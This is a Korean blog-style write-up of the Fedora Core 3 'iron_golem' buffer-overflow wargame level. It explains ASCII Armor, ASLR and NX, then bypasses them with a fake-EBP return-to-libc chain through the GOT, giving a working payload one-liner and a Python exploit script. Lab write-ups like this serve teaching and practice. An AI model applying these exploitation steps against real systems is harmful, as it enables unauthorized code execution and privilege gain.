오랜만에 푸는 bof문제다..



문제를 들어가면 strcpy함수를 대놓고 쓰는 문제다.

여기서 취약점이 터진다.

하지만 이전에 풀던 lob와는 달리 ASCII Armor와 ASLR, 그리고 스택의 값은 실행 권한이 주어지지 않는 Non-Excutable stack이 설정되어있다.

먼저 ASCII Armor란 라이브러리의 함수 주소의 최상위 부분을 0x00으로 만들어 RTL공격 구성 시 연속적인 페이로드를 작성할 수 없게 만든 보안정책이다.

그리고 ASLR은 프로그램이 실행될 때 마다 랜덤으로 스택의 주소를 배정시키는 기법이다.

마지막으로 Non-Excutable stack은 NX라고도 부르며 스택영역에 실행권한을 주지 않아서 스택에 입력된 쉘코드가 실행되지 않게 하는 보안정책이다.


이 문제를 풀려면 이 모두를 우회해야 한다.

먼저 힌트를 보면 fake ebp라고 한다.

lob에서 fake ebp로 문제를 푼 적이 있는데 그때와 비슷하게 문제를 푸는 것은 아니였다.


일단  NX에 의해서 쉘코드를 스택에 입력하는 방법은 안먹힐 것이고, RTL 또한 ASLR과 아스키 아머에 의해 막힐 것이다.

힌트인 fake ebp를 잘 생각해보면 ebp 값을 속여서 문제를 풀어보라는 의미일 것이다.


찾아보니 주소가 랜덤하게 바뀌지 않는 got영역으로 fake ebp를 이용한 rtl기법을 사용할 수 있다.

그래서 일단 got의 주소를 찾았다.


$ readelf -a ./iron_golem | grep "got" 명령어로 찾는다.

got영역의 시작주소는 0x08049618이다.


그리고 실행함수를 찾았다.

execl함수를 이용했다.

execl함수의 주소는 0x7a5720이다. 

맨 앞 자리는 아스키 아머에 의해 0x00으로 채워져 있다.


이제 페이로드를 작성해야한다.

페이로드 작성에 앞서 


우선 이 문제의 스택을 살펴보자.

스택을 살펴보면 c소스에서는 256바이트의 버퍼를 할당해주었는데 디버거에서는 0x108바이트를 할당해주었다.

0x108바이트는 264바이트다. 즉 다시말해 8바이트의 더미 값이 더 추가된 것이다.

buf[256] | dummy[8] | sfp[4] | ret[4]

이렇게 구성되어 있다.

fake ebp를 하기 위해 일단 ret까지 오버플로우를 줘야하는데 buf에 264바이트의 쓰레기 값을 주고 sfp에 got영역의 값을 주어야 한다.

하지만 그냥 got영역의 값을 주면 안되고 got-8의 주소를 주어야 한다. 그 이유는 execl함수에 인자를 주어야 하는데 이 함수의 인자는 함수가 호출될 당시의 ebp 값을 기준으로 ebp+8, ebp+c ... 이런식으로 주게 되어있다.

아래에서 got의 값을 확인해보자.

got를 보면 0x0804954c가 있다. 이 주소가 가리키는 값을 보자.

1이다.


execl 함수의 사용법은 아래와 같다.

int execl( const char *path, const char *arg, ...);

먼저 첫번째 인자에 실행할 파일의 경로를 가리키는 값이 들어가고, 마지막 인자에는 0을 입력해야 한다.

근데 딱 들어맞게도 got-8을 ebp에 넣어주게 되면 execl함수의 인자로 (got-8) +8 인 got주소가 첫번째 인자로, 두번째 인자로 0이 들어간다.

추가적으로 이 execl() 함수가 실행되면 execl('1'); 의 형태로 실행이 된다.


sfp위치에는 got-8의 주소를 입력하고 ret에는 execl에 +3을 한 주소를 입력한다. execl에 +3을 하는 이유는 지금 ebp의 값을 조작해 놓은 상태인데 만약 execl함수의 주소를 그대로 쓰면 함수 프롤로그가 실행되면서 스택이 바뀐다고 한다. 그래서 +3을 하면 프롤로그가 실행되지 않아 스택의 값이 유지된다.

마지막으로 쉘을 실행시킬 소스를 작성한다.


컴파일 해주고 심볼릭 링크를 걸어주는데 이때 이름을 \x01로 변경해준다. 왜냐면 execl함수의 첫번째 인자로 실행되는 파일명이 \x01이기 때문이다.

이제 페이로드를 작성한다.


Payload

./iron_golem `python -c 'print "A"*264+"\x10\x96\x04\x08"+"\x23\x57\x7a\x00"'`


문제 클리어


-----------------------------------------------------------------------------------------------------------------------------------------


추가적으로 파이썬으로 익스를 짰다.


import struct
import os

p = lambda x : struct.pack('<I', x)

fake_ebp = 0x8049618
execl = 0x7a5720

payload = "A"*264
payload += p(fake_ebp - 0x8)
payload += p(execl + 3)

os.system('./iron_golem ' + payload[:-1])

'Wargame > FedoraCore BOF' 카테고리의 다른 글

Fedora Core3 evil_wizard -> dark_stone  (0) 2018.02.25
Fedora Core3 hell_file -> evil_wizard  (0) 2018.02.25
Fedora Core3 dark_eyes -> hell_fire  (0) 2018.02.24
Fedora Core3 iron_golem -> dark_eyes  (0) 2018.02.23
FedoraCore3 설명  (0) 2018.02.19

+ Recent posts